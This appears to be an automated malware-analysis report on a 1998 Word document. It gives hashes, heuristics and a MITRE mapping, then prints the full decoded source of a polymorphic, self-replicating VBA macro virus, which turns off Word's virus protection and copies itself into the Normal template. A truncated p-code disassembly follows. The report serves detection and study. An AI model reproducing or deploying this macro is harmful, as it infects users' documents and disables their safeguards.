Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 a27238cac0171fee…

MALICIOUS

Office (OLE) / .DOC

31.5 KB Created: 1998-01-12 18:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 62bf10d80644aa21636c5f3f96fa05fc SHA-1: c1e23c83c41d9151c08a6f29228ff395806e59ad SHA-256: a27238cac0171feec52d7170c4cecf2d896f4bbbfa14c3f6e1cfc999fe1ec851
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical heuristic firing for VBA macro-virus self-replication and AV tampering strongly suggests malicious intent. The VBA script explicitly disables virus protection and attempts to copy its code, indicating a self-propagating macro-based threat. The obfuscated nature of the script and lack of clear network indicators prevent a higher confidence score or family attribution.

Heuristics 2

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Application.Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21062 bytes
SHA-256: 06f39fb79dbf62ae2158fb84b45ea54063869e9fb06b3210ecce70e3d1d45249
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Application.CommandBars("Tools").Controls(12).Controls(3).Visible = False
�ÊœœÂˇ‰ˆŽ˜£• = NormalTemplate.VBProject.vbcomponents(1).codemodule.lines(1, 1)
If �ÊœœÂˇ‰ˆŽ˜£• = "Private Sub Document_Close()" Then
Set ¿¦Åƺ = ActiveDocument
Set ¾Á�¼œ…¥¯‰¥§Á³ = NormalTemplate
••Æ� = 1
End If
�ÊœœÂˇ‰ˆŽ˜£• = ActiveDocument.VBProject.vbcomponents(1).codemodule.lines(1, 1)
If �ÊœœÂˇ‰ˆŽ˜£• = "Private Sub Document_Close()" Then
Set ¿¦Åƺ = NormalTemplate
Set ¾Á�¼œ…¥¯‰¥§Á³ = ActiveDocument
••Æ� = ••Æ� + 2
End If
If ••Æ� = 3 Then Exit Sub
'�ÊœœÂˇ‰ˆŽ˜£•
'••Æ�
'¿¦Åƺ
'¾Á�¼œ…¥¯‰¥§Á³
Application.Options.VirusProtection = False
'ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ
'´¨¢®º„¿» ½¯ À¸�
'¶ÄÄžÇÇÃ� ¢Â‘
'¬«Œ�›Ç’©·»ÊºÆ»
Application.EnableCancelKey = wdCancelDisabled
'‘˜»�ö�’²„½‚–
'Ǿ¦�¼�ˆÀ¼¨Œ§­„‡
'ºŠ˜µ­¿»²¾‰�™›²•¶½´
'¦�¨ÉŽ�µ
' ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“
'„œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬
'§¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­
'�Š«¼½•›Æ�’´¯™š
Options.SaveNormalPrompt = False
'¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢
'¿…¡�¢¦§Å®—°
'–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ
'´¸´¤¡‡“™¯§Š¢
'Ũ�ÆšÀš‘–Ĺ
'…º½®‘”µˆ¥ª¼�§ËŠ¦
'»˜¨ˆ´–¼È™Å§–•©¤Œ¯
'˃
ReDim ¶ÄÄžÇÇÃ� ¢Â‘(25, 25)
Do Until ºŠ˜µ­¿»²¾‰�™›²•¶½´ = ¾Á�¼œ…¥¯‰¥§Á³.VBProject.vbcomponents(1).codemodule.countoflines
ºŠ˜µ­¿»²¾‰�™›²•¶½´ = ºŠ˜µ­¿»²¾‰�™›²•¶½´ + 1
ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ = ¾Á�¼œ…¥¯‰¥§Á³.VBProject.vbcomponents(1).codemodule.lines(ºŠ˜µ­¿»²¾‰�™›²•¶½´, 1)
If Left(ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ, 1) = "'" Then
´¨¢®º„¿» ½¯ À¸� = ´¨¢®º„¿» ½¯ À¸� + 1
¶ÄÄžÇÇÃ� ¢Â‘(´¨¢®º„¿» ½¯ À¸�, 1) = Mid(ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ, 2, Len(ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ))
Randomize Timer
¬«Œ�›Ç’©·»ÊºÆ» = Int(Rnd * 20) + 2
For ‘˜»�ö�’²„½‚– = 1 To ¬«Œ�›Ç’©·»ÊºÆ»
d = Int(Rnd * 74) + 130
Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ = Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ & Chr(d)
Next ‘˜»�ö�’²„½‚–
¶ÄÄžÇÇÃ� ¢Â‘(´¨¢®º„¿» ½¯ À¸�, 2) = Ǿ¦�¼�ˆÀ¼¨Œ§­„‡
End If
Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ = ""
Loop
For ¦�¨ÉŽ�µ = 1 To 24
 ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ = ¶ÄÄžÇÇÃ� ¢Â‘(¦�¨ÉŽ�µ, 2)
For „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬ = ¦�¨ÉŽ�µ + 1 To 24
If ¶ÄÄžÇÇÃ� ¢Â‘(„œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬, 2) =  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ Then
�Š«¼½•›Æ�’´¯™š = Int(Rnd * 71) + 130
¶ÄÄžÇÇÃ� ¢Â‘(„œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬, 2) = Chr(�Š«¼½•›Æ�’´¯™š)
End If
Next „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬
For §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 1 To 24
If ¶ÄÄžÇÇÃ� ¢Â‘(§¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­, 1) =  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ Then
�Š«¼½•›Æ�’´¯™š = Int(Rnd * 71) + 130
¶ÄÄžÇÇÃ� ¢Â‘(¦�¨ÉŽ�µ, 2) = Chr(�Š«¼½•›Æ�’´¯™š)
 ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ = ¶ÄÄžÇÇÃ� ¢Â‘(¦�¨ÉŽ�µ, 2)
End If
Next §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­
Next ¦�¨ÉŽ�µ
´¨¢®º„¿» ½¯ À¸� = 1
Do Until ´¨¢®º„¿» ½¯ À¸� = ¾Á�¼œ…¥¯‰¥§Á³.VBProject.vbcomponents(1).codemodule.countoflines
 ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ = ¾Á�¼œ…¥¯‰¥§Á³.VBProject.vbcomponents(1).codemodule.lines(´¨¢®º„¿» ½¯ À¸�, 1)
´¨¢®º„¿» ½¯ À¸� = ´¨¢®º„¿» ½¯ À¸� + 1
¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ = Len( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“)
¿…¡�¢¦§Å®—° = 0
Do Until ¿…¡�¢¦§Å®—° >= ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢
¿…¡�¢¦§Å®—° = ¿…¡�¢¦§Å®—° + 1
¬«Œ�›Ç’©·»ÊºÆ» = Mid( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“, ¿…¡�¢¦§Å®—°, 1)
If Asc(¬«Œ�›Ç’©·»ÊºÆ») > 64 Then
var = var & Mid( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“, ¿…¡�¢¦§Å®—°, 1)
Else
»˜¨ˆ´–¼È™Å§–•©¤Œ¯:
If Len(var) > 0 Then
For –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ = 1 To 24
If ¶ÄÄžÇÇÃ� ¢Â‘(–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ, 1) = var Then
var = ¶ÄÄžÇÇÃ� ¢Â‘(–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ, 2)
¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ = Len(¶ÄÄžÇÇÃ� ¢Â‘(–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ, 1))
If §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 1 Then ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ = ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ - 1
´¸´¤¡‡“™¯§Š¢ = Mid( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“, 1, ¿…¡�¢¦§Å®—° - ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ - 1)
¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ = Len( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“)
If §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 1 Then
Ũ�ÆšÀš‘–Ĺ = ""
Else
Ũ�ÆšÀš‘–Ĺ = Mid( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“, ¿…¡�¢¦§Å®—°, ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢)
End If
 ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ = ´¸´¤¡‡“™¯§Š¢ & var & Ũ�ÆšÀš‘–Ĺ
¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ = Len( ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“)
¿…¡�¢¦§Å®—° = ¿…¡�¢¦§Å®—° + Len(var) - Len(¶ÄÄžÇÇÃ� ¢Â‘(–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ, 1))
Exit For
End If
Next –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ
End If
var = ""
If §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 1 Then
§¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 0
GoTo …º½®‘”µˆ¥ª¼�§ËŠ¦
End If
End If
Loop
§¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ = 1
GoTo »˜¨ˆ´–¼È™Å§–•©¤Œ¯
…º½®‘”µˆ¥ª¼�§ËŠ¦:
˃ = ˃ &  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ & Chr(13)
 ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ = ""
Loop
˃ = ˃ & " End Sub"
¿¦Åƺ.VBProject.vbcomponents(1).codemodule.deletelines 1, ¿¦Åƺ.VBProject.vbcomponents(1).codemodule.countoflines
¿¦Åƺ.VBProject.vbcomponents(1).codemodule.addfromstring (˃)
 End Sub

' Processing file: /tmp/tmpjivlhre6
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6868 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	LitVarSpecial (False)
' 	LitDI2 0x0003 
' 	LitDI2 0x000C 
' 	LitStr 0x0005 "Tools"
' 	Ld Application 
' 	ArgsMemLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' Line #2:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	St �ÊœœÂˇ‰ˆŽ˜£• 
' Line #3:
' 	Ld �ÊœœÂˇ‰ˆŽ˜£• 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Eq 
' 	IfBlock 
' Line #4:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ¿¦Åƺ 
' Line #5:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set ¾Á�¼œ…¥¯‰¥§Á³ 
' Line #6:
' 	LitDI2 0x0001 
' 	St ••Æ� 
' Line #7:
' 	EndIfBlock 
' Line #8:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	St �ÊœœÂˇ‰ˆŽ˜£• 
' Line #9:
' 	Ld �ÊœœÂˇ‰ˆŽ˜£• 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Eq 
' 	IfBlock 
' Line #10:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set ¿¦Åƺ 
' Line #11:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ¾Á�¼œ…¥¯‰¥§Á³ 
' Line #12:
' 	Ld ••Æ� 
' 	LitDI2 0x0002 
' 	Add 
' 	St ••Æ� 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Ld ••Æ� 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ExitSub 
' 	EndIf 
' Line #15:
' 	QuoteRem 0x0000 0x000D "�ÊœœÂˇ‰ˆŽ˜£•"
' Line #16:
' 	QuoteRem 0x0000 0x0004 "••Æ�"
' Line #17:
' 	QuoteRem 0x0000 0x0005 "¿¦Åƺ"
' Line #18:
' 	QuoteRem 0x0000 0x000D "¾Á�¼œ…¥¯‰¥§Á³"
' Line #19:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemLd Options 
' 	MemSt VirusProtection 
' Line #20:
' 	QuoteRem 0x0000 0x0012 "ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ"
' Line #21:
' 	QuoteRem 0x0000 0x000F "´¨¢®º„¿» ½¯ À¸�"
' Line #22:
' 	QuoteRem 0x0000 0x000C "¶ÄÄžÇÇÃ� ¢Â‘"
' Line #23:
' 	QuoteRem 0x0000 0x000E "¬«Œ�›Ç’©·»ÊºÆ»"
' Line #24:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #25:
' 	QuoteRem 0x0000 0x000D "‘˜»�ö�’²„½‚–"
' Line #26:
' 	QuoteRem 0x0000 0x000F "Ǿ¦�¼�ˆÀ¼¨Œ§­„‡"
' Line #27:
' 	QuoteRem 0x0000 0x0013 "ºŠ˜µ­¿»²¾‰�™›²•¶½´"
' Line #28:
' 	QuoteRem 0x0000 0x0007 "¦�¨ÉŽ�µ"
' Line #29:
' 	QuoteRem 0x0000 0x0013 " ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“"
' Line #30:
' 	QuoteRem 0x0000 0x0015 "„œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬"
' Line #31:
' 	QuoteRem 0x0000 0x0013 "§¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­"
' Line #32:
' 	QuoteRem 0x0000 0x000E "�Š«¼½•›Æ�’´¯™š"
' Line #33:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #34:
' 	QuoteRem 0x0000 0x0013 "¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢"
' Line #35:
' 	QuoteRem 0x0000 0x000B "¿…¡�¢¦§Å®—°"
' Line #36:
' 	QuoteRem 0x0000 0x0013 "–´Ÿ †¤Å«Á°†£›Ä�¤¤œµ"
' Line #37:
' 	QuoteRem 0x0000 0x000C "´¸´¤¡‡“™¯§Š¢"
' Line #38:
' 	QuoteRem 0x0000 0x000C "Ũ�ÆšÀš‘–Ĺ"
' Line #39:
' 	QuoteRem 0x0000 0x0010 "…º½®‘”µˆ¥ª¼�§ËŠ¦"
' Line #40:
' 	QuoteRem 0x0000 0x0011 "»˜¨ˆ´–¼È™Å§–•©¤Œ¯"
' Line #41:
' 	QuoteRem 0x0000 0x0002 "˃"
' Line #42:
' 	OptionBase 
' 	LitDI2 0x0019 
' 	OptionBase 
' 	LitDI2 0x0019 
' 	Redim ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 (As Variant)
' Line #43:
' 	Ld ºŠ˜µ­¿»²¾‰�™›²•¶½´ 
' 	LitDI2 0x0001 
' 	Ld ¾Á�¼œ…¥¯‰¥§Á³ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Eq 
' 	DoUnitil 
' Line #44:
' 	Ld ºŠ˜µ­¿»²¾‰�™›²•¶½´ 
' 	LitDI2 0x0001 
' 	Add 
' 	St ºŠ˜µ­¿»²¾‰�™›²•¶½´ 
' Line #45:
' 	Ld ºŠ˜µ­¿»²¾‰�™›²•¶½´ 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ¾Á�¼œ…¥¯‰¥§Á³ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	St ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ 
' Line #46:
' 	Ld ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ 
' 	LitDI2 0x0001 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0001 "'"
' 	Eq 
' 	IfBlock 
' Line #47:
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0001 
' 	Add 
' 	St ´¨¢®º„¿» ½¯ À¸� 
' Line #48:
' 	Ld ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ 
' 	LitDI2 0x0002 
' 	Ld ŸÁǵŒ¯Å›¹œ‘‹²ˆÅ«Äƒ 
' 	FnLen 
' 	ArgsLd Mid$ 0x0003 
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0001 
' 	ArgsSt ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' Line #49:
' 	Ld Timer 
' 	ArgsCall Read 0x0001 
' Line #50:
' 	Ld Rnd 
' 	LitDI2 0x0014 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0002 
' 	Add 
' 	St ¬«Œ�›Ç’©·»ÊºÆ» 
' Line #51:
' 	StartForVariable 
' 	Ld ‘˜»�ö�’²„½‚– 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ¬«Œ�›Ç’©·»ÊºÆ» 
' 	For 
' Line #52:
' 	Ld Rnd 
' 	LitDI2 0x004A 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0082 
' 	Add 
' 	St d 
' Line #53:
' 	Ld Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ 
' 	Ld d 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ 
' Line #54:
' 	StartForVariable 
' 	Ld ‘˜»�ö�’²„½‚– 
' 	EndForVariable 
' 	NextVar 
' Line #55:
' 	Ld Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ 
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0002 
' 	ArgsSt ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	LitStr 0x0000 ""
' 	St Ǿ¦�¼�ˆÀ¼¨Œ§­„‡ 
' Line #58:
' 	Loop 
' Line #59:
' 	StartForVariable 
' 	Ld ¦�¨ÉŽ�µ 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0018 
' 	For 
' Line #60:
' 	Ld ¦�¨ÉŽ�µ 
' 	LitDI2 0x0002 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	St  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' Line #61:
' 	StartForVariable 
' 	Ld „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬ 
' 	EndForVariable 
' 	Ld ¦�¨ÉŽ�µ 
' 	LitDI2 0x0001 
' 	Add 
' 	LitDI2 0x0018 
' 	For 
' Line #62:
' 	Ld „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬ 
' 	LitDI2 0x0002 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Eq 
' 	IfBlock 
' Line #63:
' 	Ld Rnd 
' 	LitDI2 0x0047 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0082 
' 	Add 
' 	St �Š«¼½•›Æ�’´¯™š 
' Line #64:
' 	Ld �Š«¼½•›Æ�’´¯™š 
' 	ArgsLd Chr 0x0001 
' 	Ld „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬ 
' 	LitDI2 0x0002 
' 	ArgsSt ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	StartForVariable 
' 	Ld „œš›¤º–”»„�·Ž¬®§¼…Ÿ¶¬ 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	StartForVariable 
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0018 
' 	For 
' Line #68:
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	LitDI2 0x0001 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Eq 
' 	IfBlock 
' Line #69:
' 	Ld Rnd 
' 	LitDI2 0x0047 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0082 
' 	Add 
' 	St �Š«¼½•›Æ�’´¯™š 
' Line #70:
' 	Ld �Š«¼½•›Æ�’´¯™š 
' 	ArgsLd Chr 0x0001 
' 	Ld ¦�¨ÉŽ�µ 
' 	LitDI2 0x0002 
' 	ArgsSt ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' Line #71:
' 	Ld ¦�¨ÉŽ�µ 
' 	LitDI2 0x0002 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	St  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	StartForVariable 
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	EndForVariable 
' 	NextVar 
' Line #74:
' 	StartForVariable 
' 	Ld ¦�¨ÉŽ�µ 
' 	EndForVariable 
' 	NextVar 
' Line #75:
' 	LitDI2 0x0001 
' 	St ´¨¢®º„¿» ½¯ À¸� 
' Line #76:
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0001 
' 	Ld ¾Á�¼œ…¥¯‰¥§Á³ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	Eq 
' 	DoUnitil 
' Line #77:
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ¾Á�¼œ…¥¯‰¥§Á³ 
' 	MemLd VBProject 
' 	ArgsMemLd vbcomponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd lines 0x0002 
' 	St  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' Line #78:
' 	Ld ´¨¢®º„¿» ½¯ À¸� 
' 	LitDI2 0x0001 
' 	Add 
' 	St ´¨¢®º„¿» ½¯ À¸� 
' Line #79:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	FnLen 
' 	St ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' Line #80:
' 	LitDI2 0x0000 
' 	St ¿…¡�¢¦§Å®—° 
' Line #81:
' 	Ld ¿…¡�¢¦§Å®—° 
' 	Ld ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' 	Ge 
' 	DoUnitil 
' Line #82:
' 	Ld ¿…¡�¢¦§Å®—° 
' 	LitDI2 0x0001 
' 	Add 
' 	St ¿…¡�¢¦§Å®—° 
' Line #83:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Ld ¿…¡�¢¦§Å®—° 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	St ¬«Œ�›Ç’©·»ÊºÆ» 
' Line #84:
' 	Ld ¬«Œ�›Ç’©·»ÊºÆ» 
' 	ArgsLd Asc 0x0001 
' 	LitDI2 0x0040 
' 	Gt 
' 	IfBlock 
' Line #85:
' 	Ld var 
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Ld ¿…¡�¢¦§Å®—° 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Concat 
' 	St var 
' Line #86:
' 	ElseBlock 
' Line #87:
' 	Label »˜¨ˆ´–¼È™Å§–•©¤Œ¯ 
' Line #88:
' 	Ld var 
' 	FnLen 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #89:
' 	StartForVariable 
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0018 
' 	For 
' Line #90:
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	LitDI2 0x0001 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	Ld var 
' 	Eq 
' 	IfBlock 
' Line #91:
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	LitDI2 0x0002 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	St var 
' Line #92:
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	LitDI2 0x0001 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	FnLen 
' 	St ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' Line #93:
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	LitDI2 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' 	LitDI2 0x0001 
' 	Sub 
' 	St ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' 	EndIf 
' Line #94:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	LitDI2 0x0001 
' 	Ld ¿…¡�¢¦§Å®—° 
' 	Ld ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' 	Sub 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	St ´¸´¤¡‡“™¯§Š¢ 
' Line #95:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	FnLen 
' 	St ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' Line #96:
' 	Ld §¾“‰¬·¨¬¢ŸÀ»­…Ȫ’¨­ 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #97:
' 	LitStr 0x0000 ""
' 	St Ũ�ÆšÀš‘–Ĺ 
' Line #98:
' 	ElseBlock 
' Line #99:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	Ld ¿…¡�¢¦§Å®—° 
' 	Ld ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' 	ArgsLd Mid$ 0x0003 
' 	St Ũ�ÆšÀš‘–Ĺ 
' Line #100:
' 	EndIfBlock 
' Line #101:
' 	Ld ´¸´¤¡‡“™¯§Š¢ 
' 	Ld var 
' 	Concat 
' 	Ld Ũ�ÆšÀš‘–Ĺ 
' 	Concat 
' 	St  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' Line #102:
' 	Ld  ¿Æ‘¬ƒ©‰…¥¿§’…„™¶Ë“ 
' 	FnLen 
' 	St ¡ËŒ‹ˆÃ��¿ ¬–·‘ÉÉ¡‹¢ 
' Line #103:
' 	Ld ¿…¡�¢¦§Å®—° 
' 	Ld var 
' 	FnLen 
' 	Add 
' 	Ld –´Ÿ †¤Å«Á°†£›Ä�¤¤œµ 
' 	LitDI2 0x0001 
' 	ArgsLd ¶ÄÄžÇÇÃ� ¢Â‘ 0x0002 
' 	FnLen 
' 	Sub 
' 	St ¿…¡�¢¦§Å®—° 
' Line #104:
' 	ExitFor 
' Line #105:
